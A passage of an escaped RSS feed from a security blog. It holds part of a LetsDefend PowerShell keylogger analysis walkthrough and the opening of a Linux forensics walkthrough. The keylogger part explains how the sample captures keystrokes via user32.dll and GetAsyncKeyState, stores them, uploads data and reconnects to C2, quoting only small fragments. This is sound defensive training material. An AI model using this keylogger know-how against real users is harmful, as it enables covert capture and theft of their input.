earlier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/f9fc5ef4caaa4017423cf5056c6a485f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the keylog storage file in the script&lt;/p&gt;&#xA;&lt;p&gt;As we scroll down the lines, everything might not make sense right away — but on &lt;strong&gt;Line 134&lt;/strong&gt;, we&amp;rsquo;ll stumble on the &lt;code&gt;AppendAllText&lt;/code&gt; operation that writes the input to a file: &lt;code&gt;keylog.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This is an important artifact to discover because we could use it to help determine what keystroke data was captured and potentially exfiltrated by the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/5ec6e210dfff1a02b6c597cc0fa6918d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-command-is-used-by-the-script-to-achieve-persistence&#34;&gt;Question 4: What command is used by the script to achieve persistence?&#xA;&lt;/h3&gt;&lt;p&gt;Moving right along, the next object we need to identify is the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;persistence&lt;/a&gt; mechanism used by the malware. If we search through the script, we&amp;rsquo;ll find a clue on &lt;strong&gt;Line 245&lt;/strong&gt;, where we see a conditional check:&lt;/p&gt;&#xA;&lt;p&gt;$command -eq &amp;ldquo;persist&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;This line is paired with a translated comment that reads: &amp;ldquo;the logic of persistence here if necessary.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/9a4e1249a9c6f0ddd896bbf133e95b56_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the persistence command in the script&lt;/p&gt;&#xA;&lt;p&gt;Now, malware comments aren&amp;rsquo;t exactly the most reliable source of truth — but in this case, they&amp;rsquo;re actually helpful. Despite the mention of persistence, it doesn&amp;rsquo;t appear that any actual &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;persistence&lt;/a&gt; module is weaponized in this sample.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1882px&#34; data-flex-grow=&#34;784&#34; height=&#34;102&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/828b4db151a15b975b0db2a8b2e80aeb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-command-used-by-the-script-to-uploaddata&#34;&gt;Question 5: What is the command used by the script to upload data?&#xA;&lt;/h3&gt;&lt;p&gt;The next command we need to locate is the one used to upload data. We can find a clue on &lt;strong&gt;Line 215&lt;/strong&gt;, which references an &lt;code&gt;upload:&lt;/code&gt; command.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;338px&#34; data-flex-grow=&#34;140&#34; height=&#34;568&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/15e6c61eb41c33e5591f7adb6f48368d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the upload command in the script&lt;/p&gt;&#xA;&lt;p&gt;While we probably already figured this out, the presence of an &lt;em&gt;upload mechanism&lt;/em&gt; suggests that this script supports some method to exfiltrate data from a victim environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/91f9fbccc6be4fdea7aa5734290573a2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-regex-used-by-the-script-to-filter-ip-addresses&#34;&gt;Question 6: What is the regex used by the script to filter IP addresses?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, time to shift gears a little. The next thing we need to find is the &lt;strong&gt;regex&lt;/strong&gt; the script uses to filter specific IP addresses. While it might seem like some kind of IT magic, regex is essentially a way to define patterns or sequences and match those in a data set.&lt;/p&gt;&#xA;&lt;p&gt;On &lt;strong&gt;Line 86&lt;/strong&gt;, we&amp;rsquo;ll find an example using the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Get-NetIPAddress&lt;/em&gt;&lt;/a&gt; function, which is used to enumerate the IP address configuration on the victim&amp;rsquo;s system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;337px&#34; data-flex-grow=&#34;140&#34; height=&#34;569&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/e5924f5d419c189df8e94764c5ddcf82_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the IP filtering regex in the script&lt;/p&gt;&#xA;&lt;p&gt;Importantly for &lt;strong&gt;Question 6&lt;/strong&gt;, look at the &lt;code&gt;-nomatch&lt;/code&gt; argument and the pattern next to it — this is the regex we&amp;rsquo;re looking for:&lt;/p&gt;&#xA;&lt;p&gt;^(127.|169.254.)&lt;/p&gt;&#xA;&lt;p&gt;This means the pattern is used to exclude IP addresses that match strings typically associated with local or non-routable addresses, and don&amp;rsquo;t offer much tactical value to an attacker trying to gather information about a network.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;127.&lt;/code&gt; is commonly used for &lt;em&gt;loopback addresses&lt;/em&gt; like &lt;code&gt;127.0.0.1&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;169.254.&lt;/code&gt; is used for &lt;em&gt;link-local addresses&lt;/em&gt; assigned when DHCP fails&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/927bf86efbf41b7330246fbd2a9272f2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-dll-imported-by-the-script-to-call-keylogging-apis&#34;&gt;Question 7: What is the DLL imported by the script to call keylogging APIs?&#xA;&lt;/h3&gt;&lt;p&gt;To answer this one, we need to identify the DLL the script imports to access the APIs used by the keylogger.&lt;/p&gt;&#xA;&lt;p&gt;Jump back to &lt;strong&gt;Line 94&lt;/strong&gt;, where we first found evidence of the keylogger. If we keep reading through the function, we&amp;rsquo;ll see that on &lt;strong&gt;lines 99, 101, 103, and 105&lt;/strong&gt;, the script imports &lt;code&gt;user32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/49bef76568998555c059788fdfd87855_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the DLLImport in the script&lt;/p&gt;&#xA;&lt;p&gt;This DLL is part of Windows and is used to access functions like &lt;code&gt;GetAsyncKeyState&lt;/code&gt; (&lt;strong&gt;Line 119&lt;/strong&gt;) to monitor keystrokes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1745px&#34; data-flex-grow=&#34;727&#34; height=&#34;110&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/ecfdca0ed5e0e9a1a9bb0a8056d1d3af_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-how-many-seconds-does-the-script-wait-before-re-establishing-a-connection&#34;&gt;Question 8: How many seconds does the script wait before re-establishing a connection?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question! This time, we need to determine the waiting period the script uses to re-establish a connection to the attacker&amp;rsquo;s command and control server.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start with something easy and search for the keyword &lt;code&gt;&amp;quot;Seconds&amp;quot;&lt;/code&gt;. There are several wait period commands (&lt;code&gt;Start-Sleep&lt;/code&gt;), so we&amp;rsquo;ll need to identify the correct one.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/27b71ab39beee5afcbee908819bf8240_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Start-Sleep values in the script&lt;/p&gt;&#xA;&lt;p&gt;Which one to choose? Fortunately, we have some handy comment lines to guide us — though they&amp;rsquo;re in French. A quick translation using something like &lt;strong&gt;Google Translate&lt;/strong&gt; gives us:&lt;/p&gt;&#xA;&lt;p&gt;Attendre avant de tenter une reconnexion = Wait before attempting to reconnect&#xA;Attendre avant de redÃ©marrer complÃ¨tement = Wait before restarting completely&lt;/p&gt;&#xA;&lt;p&gt;While it might seem like &amp;ldquo;reconnect&amp;quot;is the right match for &amp;ldquo;re-establishing&amp;quot;the connection, the value we&amp;rsquo;re actually looking for is the second one on &lt;strong&gt;Line 276&lt;/strong&gt;. This line pauses the &lt;code&gt;Establish-Connection&lt;/code&gt; function in the event of an error, ensuring the script tries again after a delay of 60 seconds.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;578px&#34; data-flex-grow=&#34;240&#34; height=&#34;332&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/b2f732a57fd9d6072632ae8ccb6080da_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Start-Sleep value in the script&lt;/p&gt;&#xA;&lt;p&gt;This pause helps maintain persistence by giving the script time to recover and reattempt communication with the C2 infrastructure. Now that we&amp;rsquo;ve identified the correct &lt;code&gt;Start-Sleep&lt;/code&gt; value, it&amp;rsquo;s time to wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/04947474ff6a491e6d2afb11c47f7b5b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;bonus-optional&#34;&gt;Bonus (Optional):&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s embark on a short side quest to enrich our findings and put everything together. Why not check an online malware analysis platform like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to see if this sample has been submitted before?&lt;/p&gt;&#xA;&lt;p&gt;To do this, we&amp;rsquo;ll collect the file hash of the &lt;code&gt;cha&lt;/code&gt; sample by opening &lt;em&gt;PowerShell&lt;/em&gt; within the &lt;em&gt;LetsDefend&lt;/em&gt; VM and navigating to the &lt;code&gt;ChallengeFile&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;Then, use the &lt;code&gt;Get-FileHash&lt;/code&gt; command to grab the SHA256 hash of the file:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/159e0217e606df25c141283b2376154f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Grabbing the script&amp;rsquo;s file hash&lt;/p&gt;&#xA;&lt;p&gt;181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f&lt;/p&gt;&#xA;&lt;p&gt;Next, open your browser and head to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com,&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com,&lt;/a&gt; then paste the SHA256 hash into the search bar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1254px&#34; data-flex-grow=&#34;522&#34; height=&#34;153&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/48079a842c8ce52f429e115702c6a7bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Overview of the sample&amp;rsquo;s results&lt;/p&gt;&#xA;&lt;p&gt;From here, we can confirm our findings and dig into the additional context provided by &lt;em&gt;VirusTotal&lt;/em&gt;&amp;rsquo;s analysis and community. The purpose of this exercise is to gain some experience and offer a different perspective to assist in triage — not to replace the manual analysis skills we flexed in this challenge.&lt;/p&gt;&#xA;&lt;p&gt;In the real world, time, pressure, experience, and obfuscation are all factors that can detract from hands-on analysis. Knowing when to leverage additional tools can make all the difference.&lt;/p&gt;&#xA;&lt;p&gt;Quest completed!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;590px&#34; data-flex-grow=&#34;246&#34; height=&#34;325&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/bf2a02ba68d02753bbef269d6477e1ee_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Challenge completed! By using &lt;em&gt;Notepad++&lt;/em&gt; to analyze the malware sample, we were able to determine that we&amp;rsquo;re looking at a PowerShell keylogger capable of capturing, collecting, and exfiltrating data from a victim&amp;rsquo;s device. Yikes!&lt;/p&gt;&#xA;&lt;p&gt;As we worked through the investigation, we uncovered how the malware operates and what optional modules it could weaponize. To confirm our findings, we turned to &lt;em&gt;VirusTotal&lt;/em&gt; for additional context. With all the pieces in place, it&amp;rsquo;s time to write up our report and close out our investigation. Nice Job!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for another engaging challenge. This one was especially fun to work through — while it&amp;rsquo;s simple enough to answer the guided questions, it invites a much deeper investigation to fully understand what the malware is doing and what it&amp;rsquo;s capable of. I always like to keep script analysis challenges in the rotation because each one is a little different and offers a great learning experience every time.&lt;/p&gt;&#xA;&lt;p&gt;While we wrapped up with &lt;em&gt;VirusTotal&lt;/em&gt;, I still believe manual analysis skills are fundamental. They help build real working knowledge and prepare us to respond effectively during incident response. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/powershell-keylogger&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WhatPortIs — 9050:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://whatportis.com/search/9050&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Search Network Ports | WhatPortIs — Network Port Database&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — TA0003 — Persistence:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0003/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0003/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Get-NetIPAddress:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/powershell/module/nettcpip/get-netipaddress?view=windowsserver2025-ps&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — Sample:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/181fe99c16fa6cc87a3161bc08a9e2dbd17531c7d713b09d8567c1b3debe121f&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Linux Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/</link>
            <pubDate>Sun, 13 Jul 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Linux Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--linux-forensics-challenge-walkthrough&#34;&gt;LetsDefend — Linux Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-linux-dfir-challenge-using-built-inlogs&#34;&gt;A Linux DFIR Challenge Using Built-In Logs.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; width=&#34;630&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/linux-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/linux-forensics&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/linux-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Linux Forensics&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right spot. This challenge is a fantastic introduction to digital forensics and incident response (&lt;em&gt;DFIR&lt;/em&gt;) on Linux and provides a solid foundational overview of some of the commonly used logs.&lt;/p&gt;&#xA;&lt;p&gt;But first, let&amp;rsquo;s check out the scenario below:&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;An ex-employee, who appears to hold a grudge against their former boss, is displaying suspicious behavior. We seek assistance in uncovering their intentions or plans.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Image file location: /home/analyst/hackerman.7z&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Yikes — not good! But we have our orders: investigate the ex-employee&amp;rsquo;s workstation and search for evidence of how the user was planning to retaliate against their boss. Got it.&lt;/p&gt;&#xA;&lt;p&gt;To perform this investigation, we&amp;rsquo;re learning hands-on and doing everything manually. We&amp;rsquo;ll be leveraging tools built into Linux and scouring the available logging to understand the activities of the former employee and figure out what their plans were.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-md5-hash-of-theimage&#34;&gt;Question 1: What is the MD5 hash of the image?&#xA;&lt;/h3&gt;&lt;p&gt;This challenge gives us two options for accessing the challenge file: either through the &lt;strong&gt;LetsDefend&lt;/strong&gt; virtual machine via your web browser, or by directly downloading the image file. For this walkthrough, I&amp;rsquo;ll be using the &lt;em&gt;LetsDefend&lt;/em&gt; virtual machine, which is Linux-based, and a great way to maintain a safe environment for our analysis.&lt;/p&gt;&#xA;&lt;p&gt;So, let&amp;rsquo;s kick off this investigation by launching the virtual machine and navigating to the location of the image file in the &lt;code&gt;/home/analyst&lt;/code&gt; directory. Go ahead and extract the &lt;code&gt;hackerman.7z&lt;/code&gt; file, which contains the disk image file: &lt;code&gt;hackerman.img&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;312px&#34; data-flex-grow=&#34;130&#34; height=&#34;615&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/c2d47590016852c2965eee5884b45293_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;LetsDefend VM: Navigating to the location of the challenge file&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1&lt;/strong&gt;, we need to determine the MD5 file hash of &lt;code&gt;hackerman.img&lt;/code&gt;. We can do that using the following command from the terminal:&lt;/p&gt;&#xA;&lt;p&gt;md5sum hackerman.img&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1695px&#34; data-flex-grow=&#34;706&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/9488f6ee72fcca5495c9d097be438ecf_MD5.png&#34; width=&#34;650&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Terminal: Determining the MD5 hash&lt;/p&gt;&#xA;&lt;p&gt;6be42bac99e0fff42ca9467b035859a3&lt;/p&gt;&#xA;&lt;p&gt;This command calculates the MD5 hash value of the file — which is exactly what we need to answer the first question!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1078px&#34; data-flex-grow=&#34;449&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-linux-forensics-challenge-walkthrough/095c3541f4628eee6591d5ad643885e1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-sha256-hash-of-the-file-in-the---&#34;&gt;Question 2: What is the SHA256 hash of the file in the &amp;quot; # &amp;quot;&#xA;&lt;/h3&gt;&lt;p&gt;hackerman&amp;quot;&#xA;desktop?&lt;/p&gt;&#xA;&lt;p&gt;To start digging into the image file, we need to first mount it so we can explore its contents. We&amp;rsquo;ll use &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/jammy/man8/kpartx.8.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    